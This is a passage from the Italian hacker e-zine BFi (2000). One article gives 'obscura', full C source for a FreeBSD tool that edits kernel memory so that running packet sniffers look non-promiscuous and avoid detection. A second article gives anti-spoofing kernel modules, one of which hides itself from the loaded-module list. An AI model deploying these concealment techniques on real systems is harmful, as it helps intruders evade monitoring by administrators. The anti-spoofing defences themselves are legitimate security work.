/* connections accepted */ u_int32_t tcps_connects; /* connections established */ u_int32_t tcps_drops; /* connections dropped */ u_int32_t tcps_conndrops; /* embryonic connections dropped */ u_int32_t tcps_closed; /* conn. closed (includes drops) */ u_int32_t tcps_segstimed; /* segs where we tried to get rtt */ u_int32_t tcps_rttupdated; /* times we succeeded */ u_int32_t tcps_delack; /* delayed acks sent */ u_int32_t tcps_timeoutdrop; /* conn. dropped in rxmt timeout */ u_int32_t tcps_rexmttimeo; /* retransmit timeouts */ u_int32_t tcps_persisttimeo; /* persist timeouts */ u_int32_t tcps_persistdrop; /* connections dropped in persist */ u_int32_t tcps_keeptimeo; /* keepalive timeouts */ u_int32_t tcps_keepprobe; /* keepalive probes sent */ u_int32_t tcps_keepdrops; /* connections dropped in keepalive */ u_int32_t tcps_sndtotal; /* total packets sent */ u_int32_t tcps_sndpack; /* data packets sent */ u_int64_t tcps_sndbyte; /* data bytes sent */ u_int32_t tcps_sndrexmitpack; /* data packets retransmitted */ u_int64_t tcps_sndrexmitbyte; /* data bytes retransmitted */ u_int64_t tcps_sndrexmitfast; /* Fast retransmits */ u_int32_t tcps_sndacks; /* ack-only packets sent */ u_int32_t tcps_sndprobe; /* window probes sent */ u_int32_t tcps_sndurg; /* packets sent with URG only */ u_int32_t tcps_sndwinup; /* window update-only packets sent */ u_int32_t tcps_sndctrl; /* control (SYN|FIN|RST) packets sent */ u_int32_t tcps_rcvtotal; /* total packets received */ u_int32_t tcps_rcvpack; /* packets received in sequence */ u_int64_t tcps_rcvbyte; /* bytes received in sequence */ u_int32_t tcps_rcvbadsum; /* packets received with ccksum errs */ u_int32_t tcps_rcvbadoff; /* packets received with bad offset */ u_int32_t tcps_rcvmemdrop; /* packets dropped for lack of memory */ u_int32_t tcps_rcvnosec; /* packets dropped for lack of ipsec */ u_int32_t tcps_rcvshort; /* packets received too short */ u_int32_t tcps_rcvduppack; /* duplicate-only packets received */ u_int64_t tcps_rcvdupbyte; /* duplicate-only bytes received */ u_int32_t tcps_rcvpartduppack; /* packets with some duplicate data */ u_int64_t tcps_rcvpartdupbyte; /* dup. bytes in part-dup. packets */ u_int32_t tcps_rcvoopack; /* out-of-order packets received */ u_int64_t tcps_rcvoobyte; /* out-of-order bytes received */ u_int32_t tcps_rcvpackafterwin; /* packets with data after window */ u_int64_t tcps_rcvbyteafterwin; /* bytes rcvd after window */ u_int32_t tcps_rcvafterclose; /* packets rcvd after "close" */ u_int32_t tcps_rcvwinprobe; /* rcvd window probe packets */ u_int32_t tcps_rcvdupack; /* rcvd duplicate acks */ u_int32_t tcps_rcvacktoomuch; /* rcvd acks for unsent data */ u_int32_t tcps_rcvackpack; /* rcvd ack packets */ u_int64_t tcps_rcvackbyte; /* bytes acked by rcvd acks */ u_int32_t tcps_rcvwinupd; /* rcvd window update packets */ u_int32_t tcps_pawsdrop; /* segments dropped due to PAWS */ u_int32_t tcps_predack; /* times hdr predict ok for acks */ u_int32_t tcps_preddat; /* times hdr predict ok for data pkts */ u_int32_t tcps_pcbhashmiss; /* input packets missing pcb hash */ u_int32_t tcps_noport; /* no socket on port */ u_int32_t tcps_badsyn; /* SYN packet with src==dst rcv'ed */ u_int32_t tcps_rcvbadsig; /* rcvd bad/missing TCP signatures */ u_int64_t tcps_rcvgoodsig; /* rcvd good TCP signatures */ }; Ok, credo di aver completato il discorso. bau pIGpEN ============================================================================== --------------------------------[ EOF 11/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-12100755 0 0 26110 7102660046 10741 0ustar rootroot============================================================================== ------------[ BFi numero 8, anno 3 - 30/04/2000 - file 12 di 28 ]------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ FADE TO BLACK DEL PROMISC MODE... MA... -----[ pIGpEN MUSICA ASCOLTATA: Grateful Dead in concerto al The Great American Music Hall 13 Agosto 1975 Grateful Dead in concerto al Babylonian theater (the Fox) in St.Louis Febbraio 1970 Bau, FuSyS mi fece notare l'articolo numero 10 scritto su Phrack 53 in cui si parla di coprire il promisc mode di un'interfaccia di rete accedendo direttamente al kernel, in BSD tramite kvm... In realta' e' vero che si puo' coprire l'IFF_PROMISC agendo su if_flags della ifnet interessata... Tuttavia questo non basta, per 2 ragioni: - leggendo if_pcount della ifnet si puo' sapere il numero dei listener in promisc mode - sui descrittori dei files aperti del descrittore if_bpf di quell'interfaccia (lo so suona male ma e' cosi' :) esiste un flag (bd_promisc) settato a 1 se su quel /dev/bpf* si sta leggendo in modalita' promiscua... Ora, mentre ifconfig viene gabbato abbastanza semplicemente via ioctl() che copre l'IFF_PROMISC o togliendo l'IFF_PROMISC tra i flags di quella interfaccia via /dev/mem, sul kernel restano invece ancora delle evidenti tracce... Sto realizzando un tool che permette, oltre ad altre cose, di trovare il promisc mode in locale in modo abbastanza sicuro e la cui discussione sara' trattata sul numero 9 di BFi (da remoto esistono tool come quello dei l0pht, ma la loro spiegazione non rientra in questo articolo: visto che ci siete leggete pure TCP FOR PHUN AND PROFIT in BFi#5) Per ora supponiamo di avere tre dumper su un'interfaccia (assurdo o no immaginiamolo lo stesso... capirete il perche' dall'output), 2 in modalita' promiscua ed 1 no: (L'indirizzo della scheda di rete e' stato cambiato per motivi di privacy :) ./k -i ed0 Interface: ed0 (internal index = 1) ( Ether 00:4d:4c:05:3b:30 ) State: up bcast running promisc simplex multicast Addr: 192.168.1.2 Nmask: 0xffffff00 Bcast: 192.168.1.255 Expected 2 promisc listener/s Found a promisc listener: (1 rcvd pkt, 0 drop pkt) on #1 listener Found a nopromisc listener: (1 rcvd pkt, 0 drop pkt) on #2 listener Found a promisc listener: (1 rcvd pkt, 0 drop pkt) on #3 listener Information for this Ethernet interface: (address length = 6, header length = 14) MTU: 1500 Linespeed: 10000000 63 packets received, 58 packets sent 0 input errors, 0 output errors on interface 0 collisions on interface 8853 octets received, 8411 octets sent 9 packets received, 0 packets sent via multicast 0 dropped on input 0 destined for unsupported protocols Se usassi il tool di phrack sulla riga di State scomparirebbe il flag promisc... ma il mio prog vede cmq 2 listeners in promisc mode e i pacchetti passati su quei descrittori... E' chiaro quindi che non copro molto... La domanda e': si puo' coprire tutto? La risposta e' no... Fino a quando esiste un descrittore si puo' sempre scoprire che c'e' un dumper sotto; possiamo pero' fare in modo che questo si spacci per un dumper non in promisc mode per un po' di tempo. D'altronde e' chiaro capire che piu' di cosi' non si puo' fare perche' se tolgo il descrittore dico addio all'output sul dumper. ./obscura ed0 ed0 found ... promisc mode (found) BPF Analysis for ed0 interface: #1 listener has promisc mode enabled (changed) #2 listener has no promisc mode enabled #3 listener has promisc mode enabled (changed) skipping -> lp0 skipping -> tun0 skipping -> sl0 skipping -> ppp0 skipping -> lo0 ./k -i ed0 Interface: ed0 (internal index = 1) ( Ether 00:4d:4c:05:3b:30 ) State: up bcast running simplex multicast Addr: 192.168.1.2 Nmask: 0xffffff00 Bcast: 192.168.1.255 Found a nopromisc listener: (8 rcvd pkt, 0 drop pkt) on #1 listener Found a nopromisc listener: (8 rcvd pkt, 0 drop pkt) on #2 listener Found a nopromisc listener: (8 rcvd pkt, 0 drop pkt) on #3 listener Information for this Ethernet interface: (address length = 6, header length = 14) MTU: 1500 Linespeed: 10000000 67 packets received, 61 packets sent 0 input errors, 0 output errors on interface 0 collisions on interface 9674 octets received, 9017 octets sent 11 packets received, 0 packets sent via multicast 0 dropped on input 0 destined for unsupported protocols Addio promisc mode :O Utilizzando obscura modifico i valori sul kernel bypassando le funzioni di gestione dell'interfaccia per cui l'allframes bit nell'interfaccia dovrebbe rimanere settato (in quanto le funzioni di gestione del driver non hanno avuto modo di pulire il bit)... Tuttavia c'e' un MA: vale solo fino alla prossima ioctl(SIOCSIFFLAGS) o ioctl(SIOCSIFFADDR) su quella interfaccia (e altri casi indicati sotto) la prima citata in Phrack e la seconda aggiunta per ovvi motivi. Nel commento del sorgente trovate il test che viene eseguito quando viene trovata una ioctl() di questi tipi sul device e che comporta la disattivazione del bit di allframes. Un'ultima nota su come il kernel tira giu' un dumper: in pratica la ifpromisc(), quando le viene richiesto di togliere il promisc mode su un'interfaccia, fa il seguente test: if(--ifp->if_pcount > 0) return 0; ifp->if_flags &= ~IFF_PROMISC; ifr.if_flags = ifp_if_flags; (*ifp->if_ioctl) (ifp, SIOCSIFFLAGS, (caddr_t)&ifr); Per cui, se noi settiamo if_pcount come un numero abbastanza grande, e' facile pensare che nel caso di chiusura di un dumper se ce ne sono altri (magari con promisc mode coperto) questi continueranno a godere della modalita' promiscua. In realta' questo non serve perche' la ifpromisc() e' chiamata nella funzione bpf_detachd() che prima di eseguirla controlla che bd_promisc sia > 0 ed avendolo azzerato tale funzione non sara' mai chiamata. Quindi, se per la chiusura di un dumper non ci sono problemi, le situazioni in cui una if_ioctl() viene chiamata e non si puo' far molto sono le seguenti: - Richieste da userlevel tramite ioctl() di questi tipi (ovviamente su quell'interfaccia) eventualmente filtrabili via kld o lkm: Chiamate: livello di user level rete driver SIOCSIFFLAGS ifioctl() (if)_ioctl() (SIOCSIFPHYS) ifioctl() * SIOCSIFADDR ether_ioctl() (if)_init() iso88025_ioctl() SIOCADDMULTI if_addmulti() (if)_ioctl(SIOCSIFFLAGS) SIOCDELMULTI if_addmulti() (if)_ioctl(SIOCSIFFLAGS) BIOCPROMISC ifpromisc() (if)_ioctl(SIOCSIFFLAGS) * = non supportata completamente (if)_ioctl ha if tra parentesi in quanto il suo nome varia dal driver per quella scheda di rete. - Situazioni generiche e non sempre prevedibili: Chiamate nel kernel alle seguenti funzioni: if_allmulti() --> in quanto chiama una if_ioctl(SIOCSIFFLAGS) if_slowtimo() --> in quanto chiama la if_watch() che a sua volta inizializza l'interfaccia (a livello di driver) bpf_detachd() --> (chiama la ifpromisc()) no problem bypassata Il codice: <-| obscura.c |-> /* * Name: Total obscurity for BPF Promisc Mode * Date: Sat Mar 25 16:40:12 2000 * Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ] * * SoftProject 2000 - Digital Sekurity for Y2k * Sikurezza.org - Italian Security MailingList * * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by * Poul-Henning Kamp but you can give me in return a coffee. * * Tested on: FreeBSD 3.4-RELEASE FreeBSD 3.4-RELEASE #4: Fri Mar i386 * * Give more obscurity of P53-10 tools... note here as in apk's code if we * change IFF_PROMISC in ifnet structure .... * when your System calls a ioctl(SIOCSIFFLAGS) for that interface, it invokes * if_ioctl() and allframes bit for that device will be disabled because test * in init function is done for example in this way: * * if(ifp->if_flags & IFF_PROMISC) { * AL_SETBIT(sc, AL_NETCFG, AL_NETCFG_RX_PROMISC); * } else { * AL_CLRBIT(sc, AL_NETCFG, AL_NET_CFG_RX_PROMISC); * } * * SIOCSIFFLAGS is not the only situation for a call to init function for that * device (see BFi-8 for further information) * * This code was written in order to test a my tool ... Modification or use of * this source code is intended only for legal purposes, It was coded for no * malicious aims.. perhaps it doesn't work ;) * * * Compile with: cc obscura.c -lkvm * */ #include #include #include #include #include #include #include #include #include #include #include #include #define Error(x) errx(EX_UNAVAILABLE, x); void usage __P((char *)); void bpf_zero __P((kvm_t *, struct ifnet *)); struct nlist list[] = { {"_ifnet"}, {NULL} }; int main(int argc, char **argv) { struct ifnethead ifh; struct ifnet ifc, *ifp; char ifname[IFNAMSIZ]; kvm_t *kd; if(argc!=2) usage(argv[0]); if(!(kd=kvm_open(NULL, NULL, NULL, O_RDWR, NULL))) Error("kvm_open()"); if(kvm_nlist(kd, list) == -1) Error("kvm_nlist()"); if(!list[0].n_value) Error("checking n_value"); kvm_read(kd, list[0].n_value, &ifh, sizeof ifh); ifp = ifh.tqh_first; for(;ifp;ifp = ifc.if_link.tqe_next) { kvm_read(kd, (u_long)ifp, &ifc, sizeof ifc); kvm_read(kd, (u_long)ifc.if_name, ifname, sizeof ifname); snprintf(ifname, IFNAMSIZ, "%s%d", ifname, ifc.if_unit); if(!strcmp(ifname, argv[1])) { printf("%s found ... promisc mode ", ifname); if(ifc.if_flags & IFF_PROMISC) { printf("(found)\n"); if(ifc.if_pcount) /* I clear this ... * you can do a perfect thing by changing this * in bpf_zero() decreasing for each descriptor * found ... */ ifc.if_pcount = 0; ifc.if_flags &= ~IFF_PROMISC; kvm_write(kd, (u_long)ifp, &ifc, sizeof ifc); printf("BPF Analysis for %s interface\n", ifname); bpf_zero(kd, &ifc); }else printf("(not found)\n"); } else printf("skipping -> %s\n", ifname); } kvm_close(kd); return 0; } void usage(char *name) { printf("FreeBSD - Promisc Total Obscurity\n" "Warning this tool is intended for testing of ks...\n" "Don't use it for illegal purposes\n\n" "pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ]\n\n"); printf("Usage: %s interface\n", name); exit(1); } void bpf_zero(kvm_t *kd, struct ifnet *ifp) { struct bpf_if ibpf; struct bpf_d dbpf, *pdbpf; register int count = 0; kvm_read(kd, (u_long)ifp->if_bpf, &ibpf, sizeof ibpf); pdbpf = ibpf.bif_dlist; for(; pdbpf; pdbpf = dbpf.bd_next) { kvm_read(kd, (u_long)pdbpf, &dbpf, sizeof dbpf); printf("#%d listener has %spromisc mode enabled", ++count, (!dbpf.bd_promisc) ? "no " : " "); if(dbpf.bd_promisc) { printf(" (changed)"); dbpf.bd_promisc = 0; kvm_write(kd, (u_long)pdbpf, &dbpf, sizeof dbpf); } putchar('\n'); } } <-X-> ============================================================================== --------------------------------[ EOF 12/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-13100755 0 0 47000 7102660046 10743 0ustar rootroot============================================================================== ------------[ BFi numero 8, anno 3 - 30/04/2000 - file 13 di 28 ]------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ DDoS PET-NEMESiS -----[ SP00FiNG DETECTiON DALLA NOSTRA BOX [via SYSCALLS] -------[ FuSyS , pIGpEN - FreeBSD - OpenBSD - Linux Musica Ascoltata: pigpen Staring At The Sea The Singles - The Cure fusys Spybreak - PropellerHeads Un contributo di s0ftpj contro sp00fing & DoS... Come si puo' riuscire a scoprire tentativi di spoofing dalla propria macchina verso l'esterno? --- FreeBSD --- Il primo metodo consiste nel conoscere l'indirizzo dell'interfaccia di rete e monitorare di conseguenza i pacchetti uscenti dalla propria box con ip diverso dai propri... su un *BSD kernel si puo' agire sulla ip_output() o su un layer piu' alto (in "BSD KERNEL: AGIRE SULLE ROUTINES DI INTERFACCIAMENTO TRA PROTOCOLLO E SOCKET" c'e' un esempio per UDP). Un secondo metodo che puo' valere per certi tipi di spoofing e' monitorare la chiamata setsockopt() che vada a settare la IP_HDRINCL... ./bau_d0s -s 666.666.666.666 -d 192.168.1.4 IP_HDRINCL: Invalid argument Tramite syslog: Feb 18 14:44:25 storpio /kernel: DETECT IP_HDRINCL invoked by bau_d0s Feb 18 14:44:25 storpio /kernel: IP header manipulation ... DENIED! <-| fbsdnospoof.c |-> /* * Name: ANTi SP00FiNG VIA SETSOCKOPT() ( fbsdnospoof.c ) * Date: Fri Feb 18 14:45:01 2000 * Author: pIGpEN [pigpen@s0ftpj.org, deadhead@sikurezza.org] * * SoftProject Digital Security for Y2K (www.s0ftpj.org) * Sikurezza.org Italian Security MailingList (www.sikurezza.org) * * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by * Poul-Henning Kamp but you can give me in return a coffee. * * Tested on: FreeBSD 4.0-19990705-CURRENT FreeBSD 4.0-19990705-CURRENT #6 i386 * FreeBSD 3.4-RELEASE FreeBSD 3.4-RELEASE #0: Tue Dec i386 * * Thanks to: del0rean / s0ftPj for cd with 3.4 release * Lynyrd Skynyrd for Sweet Home Alabama * * Use a kld Makefile.. ( put in append ) */ /* * This kld detects type of ip spoofing based on setsockopt()... with IP_HDRINCL * It works monitoring setsockopt() system call * * example of detection: * * ./DoS -s 666.666.666.666 -d 192.168.1.4 * IP_HDRINCL: Invalid argument * * syslog: * * Feb 18 14:44:25 storpio /kernel: Detect IP_HDRINCL invoked by d0s * Feb 18 14:44:25 storpio /kernel: IP header manipulation... DENIED! * */ /* * Define DONT_PERMIT -> if you want to forbid IP header manipulation * and so the chance of IP Spoofing from your * BOX */ #define DONT_PERMIT #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* IP_HDRINCL */ static int my_setsockopt __P((struct proc *, register struct setsockopt_args *)); static int my_setsockopt(p, uap) struct proc *p; register struct setsockopt_args *uap; { struct file *fp; struct sockopt sopt; int error; if (uap->val == 0 && uap->valsize != 0) return (EFAULT); if (uap->valsize < 0) return (EINVAL); error = getsock(p->p_fd, uap->s, &fp); if (error) return (error); if((uap->level == IPPROTO_IP) && (uap->name == IP_HDRINCL)) { log(LOG_INFO, "Detect IP_HDRINCL invoked by %s\n", p->p_comm); #ifdef DONT_PERMIT log(LOG_INFO, "IP header manipulation... DENIED!\n"); return (EINVAL); #endif } sopt.sopt_dir = SOPT_SET; sopt.sopt_level = uap->level; sopt.sopt_name = uap->name; sopt.sopt_val = uap->val; sopt.sopt_valsize = uap->valsize; sopt.sopt_p = p; return (sosetopt((struct socket *)fp->f_data, &sopt)); } static int module_handler(module_t mod, int cmd, void *arg) { switch(cmd) { case MOD_LOAD: sysent[SYS_setsockopt].sy_call = (sy_call_t *) my_setsockopt; break; case MOD_UNLOAD: sysent[SYS_setsockopt].sy_call = (sy_call_t *) setsockopt; break; } return 0; } static moduledata_t SetSock = { "SetSockOpt", module_handler, NULL }; DECLARE_MODULE(SetSockOpt, SetSock, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); /* Makefile for this kld... # SoftProject 2000 - Digital Sekurity for Y2k # Sikurezza.org - Italian Security MailingList # # COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by # Poul-Henning Kamp but you can give me in return a coffee. # # Tested on: FreeBSD 3.4-RELEASE FreeBSD 3.4-RELEASE #3: Thu Mar i386 # < pigpen@s0ftpj.org > .PATH: /sys/kern SRCS = fbsdnospoof.c CFLAGS+= -I/sys KMOD = nospoof NOMAN = t KLDMOD = t KLDLOAD = /sbin/kldload KLDUNLOAD = /sbin/kldunload CLEANFILES+= ${KMOD} load: ${KLDLOAD} -v ./${KMOD} unload: ${KLDUNLOAD} -v -n ${KMOD} .include */ <-X-> --- OpenBSD --- Anche qui valgono le stesse cose dette per FreeBSD... Aggiungo solo che in tutti i kernel BSD viene chiamata la funct pr_ctloutput() (quando non riguarda delle modifiche sul socket perche' altrimenti ci si ferma alla sosetopt() ) per quel particolare supporto... al fine di processare le opzioni passate con la setsockopt() ... E allora perche' non agire sulla rip_ctloutput() ? diff per /sys/netinet/raw_ip.c di OpenBSD 2.6 <-| raw_ip.c.diff |-> 50a51,73 > /* > * COFFEE WARE LICENSE - diff for /sys/netinet/raw_ip.c > * > * IP_HDRINCL protection beta version 1 > * > * Note: This type of protection can be implemented as a loadable kernel > * module... > * > * This version requires that you recompile your kernel > * Added options are: > * > * option IPHDR_MON -> to monitor IP_HDRINCL > * option NO_IPHDR -> to deny it! > * > * Important: the second option requires the first! > * > * A lkm which monitors setsockopt() syscall can be also required to: > * deadhead@sikurezza.org or pigpen@s0ftpj.org with Subject: > * LKM FOR OpenBSD VERSION X.X -> where X.XX... is your version > * > * This diff was tested on a 2.6 kernel > */ > 71a95,98 > #ifdef IPHDR_MON > #include > #endif > 271c298,314 < else if (*mtod(*m, int *)) --- > else if (*mtod(*m, int *)) { > #ifdef IPHDR_MON > log(LOG_INFO,"IP_HDRINCL detected!\n"); > #endif > > #ifdef NO_IPHDR > log(LOG_INFO,"Kernel doesn't permit it!\n"); > > /* This if is false in general, I suppose OpenBSD kernel doesn't set IP_HDRINCL > with value = 1 as default (Linux for example does it, see lkm by fusys) */ > > if((inp->inp_flags & INP_HDRINCL)) { > log(LOG_INFO,"Kernel put it to 1 "); > log(LOG_INFO,"IP_HDRINCL disabled!\n"); > inp->inp_flags &= ~INP_HDRINCL; > } > #else 273c316,317 < else --- > #endif > } else <-X-> Questo diff permette di aggiungere due opzioni nuove in fase di compilazione del kernel: option IPHDR_MON per monitorare semplicemente la richiesta di manipolazione dell'IP header Ottenendo output come questo via syslog: Mar 3 19:24:11 piggy /bsd: IP_HDRINCL detected! option NO_IPHDR per proibire la possibilita' di spoofare dalla macchina... nota che i pacchetti verranno cmq mandati ma dall'ip vero... eventualmente si puo' utilizzare una m_freem() per fare in modo che il pacchetto non venga proprio mandato... Se non sapete come contattatemi e lo faccio io... Ottenendo oltre a quell'output: Mar 3 19:24:11 piggy /bsd: Kernel doesn't permit it! Se vogliamo scendere un po' piu' sul tecnico, bisogna sapere che lo stato di IP_HDRINCL si concretizza con l'aggiunta di un flag sull'inpcb di quella connessione attraverso: inp->inp_flags |= INP_HDRINCL; La nostra azione consistera' quindi nell'evitare una cosa del genere. Altro da dire non c'e'... Riguardo il source, per come l'ho implementato io la seconda opzione richiede la prima... Al limite togliete l'ifdef e mettete la sys/syslog.h nel sorgente per scindere le due opzioni, ma non mi sembra che ci sia motivo per farlo... E' chiaro che sia la pr_ctloutput() che una eventuale setsockopt() possono essere modificate via lkm, nel primo caso con un misc mod nel secondo sostituendo la syscall setsockopt() ... --- Linux --- Ovviamente un Loadable Kernel Module puo' essere codato anche per Linux per risolvere il problema che i socket di tipo RAW possono assumere per un 'povero' amministratore di sistema soverchiato da attaccanti scaltri ed invisibili come ninja. Nello stack TCP/IP di Linux, tutte le operazioni relative ai socket vengono gestite dalla sola chiamata di sistema sys_socketcall(). Questa permette, mediante un controllo della richiesta inoltrata dalla call, di gestire secondo l'usuale astrazione [del kernel di Linux] tutte le operazioni necessarie. Il file ~net/socket.c contiene il sorgente appropriato. Abbiamo visto in molti articoli che per modificare l'header dei nostri pacchetti dobbiamo utilizzare la chiamata setsockopt, utilizzando il comando IP_HDRINCL. Quindi il primo livello a cui agire e' controllando la richiesta di opzioni ai socket nel nostro kernel e modificando al volo il responso del kernel nel caso venga richiesto il settaggio a 1 del valore hdrincl nella struttura sock. Un bel risultato uguale a EPERM interrompera' la richiesta. Agendo a livello del kernel bloccheremo ovviamente OGNI uso della chiamata, anche a utenti che abbiano raggiunto l'UID 0. Purtroppo Linux considera superfluo l'uso di setsockopt con il comando IP_HDRINCL. Infatti possiamo notare in ~net/ipv4/af_inet.c : Nella funzione inet_create() : case SOCK_RAW: if (!capable(CAP_NET_RAW)) goto free_and_badperm; if (!protocol) goto free_and_noproto; prot = &raw_prot; sk->reuse = 1; sk->ip_pmtudisc = IP_PMTUDISC_DONT; sk->num = protocol; sock->ops = &inet_dgram_ops; if (protocol == IPPROTO_RAW) sk->ip_hdrincl = 1; break; Se il protocollo e' IPPROTO_RAW in un socket di tipo RAW, viene automaticamente settato a 1 il valore di ip_hdrincl nelle strutture sock. Quindi bloccare setsockopt() non e' sufficiente. E' necessario anche controllare i dati inviati. La chiamata che si occupa di questo e' sempre sys_socketcall() con astrazione di tipo sys_sendto. Copiando in kernel-land il buffer che il cracker vuole inviare, possiamo controllare se contiene header IP e, nel caso, bloccare ogni pacchetto che non abbia lo stesso IP della interfaccia di rete da noi scelta nel sorgente. Vediamo il modulo, prima di valutarne alcune caratteristiche: <-| N0Sp00f.c |-> /* * N0Sp00f.c Semplice modulo per evitare che qualche lama * decida di usare il nostro sistema come hop di * lancio per pacchetti IP spoofati. Intercetta * la chiamata di sistema socketcall() per il * parametro IP_HDRINCL passato a setsockopt(). * Purtroppo Linux ha le seguenti istruzioni in * ~/net/ipv4/af_inet.c: * * case SOCK_RAW: * if (protocol == IPPROTO_RAW) * sk->ip_hdrincl = 1; * * che permettono di bypassare tranquillamente * l'uso di setsockopt() ... * In questo caso dovremo anche controllare in * ogni sys_sendto() per evitare lo spoof degli * IP sorgente dalla nostra box. Comunque, ogni * tentativo verra' loggato. Una comoda password * da inserire in un file in /proc/net/ potra' * servire al 'legittimo' root per operare sugli * header dei pacchetti. * * Implementazione per Linux 2.2.x * * __NO__(C)2000 FuSyS [S0ftPj|BFi] * * * Compilate con: gcc -c -O2 -fomit-frame-pointer N0Sp00f.c * Installate con: insmod N0Sp00f.o * * Credits: LKMPG per /proc, pIGpEN per avermi spronato, * i LAMAH di tutto il mondo per i DoS [se privi * di ogni significato 'antagonista' ...], * Gigi_Sull per tutti gli Aieeeee' =) * */ #define MODULE #define __KERNEL__ #define CONFIG_PROC_FS #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define PASS_LENGTH 50 #define PASSWORD "[S0ftPj|BFi]" #define LKMNAME "N0Sp00f" #define LOG int (*old_socketcall) (int, unsigned long *); int (*old_query_module)(const char *, int, char *, size_t, size_t *) ; extern void *sys_call_table[]; static char password[PASS_LENGTH]; char *DEVICE="eth0"; char Rip[15]; int errno; MODULE_PARM(DEVICE, "s"); char *ntoa(unsigned long ip) { static char buff[18]; char *p; p = (char *) &ip; sprintf(buff, "%d.%d.%d.%d", (p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255)); return(buff); } void getIPs() { struct device *dev; struct in_device *in_dev; struct in_ifaddr **ifap = NULL; struct in_ifaddr *ifa = NULL; dev =(struct device *)(dev_get(DEVICE)); in_dev = dev->ip_ptr; if ((in_dev=dev->ip_ptr) != NULL) { for (ifap=&in_dev->ifa_list; (ifa=*ifap) != NULL; ifap=&ifa->ifa_next) if (strcmp(DEVICE, ifa->ifa_label) == 0) break; } strncpy(Rip, ntoa(ifa->ifa_local), 15); } static ssize_t module_output(struct file *file, char *buf, size_t len, loff_t *offset) { static int finished = 0; int i; char message[PASS_LENGTH+30]; if (finished) { finished = 0; return 0; } sprintf(message, "N0SP00F Password\n"); for(i=0; ieuid == 0) return 0; return -EACCES; } int module_open(struct inode *inode, struct file *file) { MOD_INC_USE_COUNT; return 0; } int module_close(struct inode *inode, struct file *file) { MOD_DEC_USE_COUNT; return 0; } static struct file_operations N0SP00F_fops = { NULL, module_output, module_input, NULL, NULL, NULL, NULL, module_open, NULL, module_close, }; static struct inode_operations N0SP00F_iops = { &N0SP00F_fops, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, module_permission }; static struct proc_dir_entry N0SP00F = { 0, 7, "N0SP00F", S_IFREG | S_IRUGO | S_IWUSR, 1, 0, 0, 50, &N0SP00F_iops, NULL }; int new_socketcall(int call, unsigned long *args) { int socket; unsigned long *sargs = args; unsigned long a0, a1, a2; void *buf; struct iphdr *ip; if(call == SYS_SETSOCKOPT) { if(sargs[2] == IP_HDRINCL) { if(!strstr(password, PASSWORD)) { printk(KERN_INFO " IP_HDRINCL: %s with UID:%d and TTY:%s\n", current->comm, current->uid, current->tty->driver.driver_name); return -EPERM; } } return socket = (*old_socketcall) (call, args); } else if(call == SYS_SENDTO) { get_user(a0, sargs); get_user(a1, sargs + 1); get_user(a2, sargs + 2); buf = (void*)kmalloc(a2, GFP_KERNEL); copy_from_user(buf, (void *) a1, a2); ip = (struct iphdr *)(void *)buf ; if(ip->ihl == 5 && ip->version == 4) { if(!strstr(password, PASSWORD)) { if(!strstr(Rip, (ntoa(ip->saddr)))) { #ifdef LOG printk(KERN_INFO " sys_sendto\(): %s with UID:%d, TTY:%s and IP: %s\n", current->comm, current->uid, current->tty->driver.driver_name, ntoa(ip->saddr)); #else printk(KERN_INFO " sys_sendto\(): %s with UID:%d, TTY:%s\n", current->comm, current->uid,current->tty->driver.driver_name); #endif return -EPERM; } } } } return socket = (*old_socketcall) (call, args); } int new_query_module(const char *name, int which, char *buf, size_t bufsize, size_t *ret) { int res; int cnt; char *ptr, *match; res = (*old_query_module)(name, which, buf, bufsize, ret); if(res == -1) return(-errno); if(which != QM_MODULES) return(res); ptr = buf; for(cnt = 0; cnt < *ret; cnt++) { if(!strcmp(LKMNAME, ptr)) { match = ptr; while(*ptr) ptr++; ptr++; memcpy(match, ptr, bufsize - (ptr - (char *)buf)); (*ret)--; return(res); } while(*ptr) ptr++; ptr++; } return(res); } void ttycredit(char *str) { struct tty_struct *mytty; if((mytty = current->tty) != NULL) { (*(mytty->driver).write)(mytty, 0, str, strlen(str)); } } int init_module(void) { EXPORT_NO_SYMBOLS; getIPs(); old_socketcall = sys_call_table[SYS_socketcall]; sys_call_table[SYS_socketcall] = (void *) new_socketcall; old_query_module = sys_call_table[SYS_query_module]; sys_call_table[SYS_query_module]=(void *)new_query_module; ttycredit("\n\033[1;34m---[ \033[1;32mN0Sp00f\033[1;34m"); ttycredit(" Linux 2.2.x LKM by FuSyS [S0ftPj|BFi] ]---\033[0m\r\n\r\n"); printk(KERN_INFO "Loading N0Sp00f to protect bypassing %s\n", Rip); return proc_register(proc_net, &N0SP00F); } void cleanup_module(void) { proc_unregister(proc_net, N0SP00F.low_ino); sys_call_table[SYS_socketcall] = old_socketcall; sys_call_table[SYS_query_module] = old_query_module; ttycredit("\n\033[1;34m Modulo N0Sp00f Disattivato\033[0m\r\n\r\n"); printk(KERN_INFO "Modulo N0Sp00f Disattivato\n"); } <-X-> I define sono abbastanza importanti. Contengono la password necessaria ad un 'root legittimo' per bloccare il controllo delle chiamate di sistema, e la possibilita' o meno di loggare mediante klogd quello che avviene a questo livello. Tutte le funzioni e strutture dati relative al modulo ed a N0Sp00f servono per creare un file, /proc/net/N0Sp00f entro cui inserire mediante semplice echo, magari, la password. Il file e' leggibile solo da root e NON contiene la password, una volta inizializzato. Si puo' decidere di inizializzare la sys_query_module per impedire anche a root di rimuovere l'LKM. Il modulo controlla di default eth0. Ma si puo' agire durante il suo caricamento per fargli controllare altre interfacce. Basta installarlo con: insmod N0Sp00f.o DEVICE=ppp0 ad esempio, per controllare ppp0 e l'IP associato. Ecco un esempio di log: Feb 26 17:12:21 MaNTRa kernel: Loading N0Sp00f to protect bypassing 51.156.121.59 Feb 26 17:55:48 MaNTRa kernel: IP_HDRINCL: 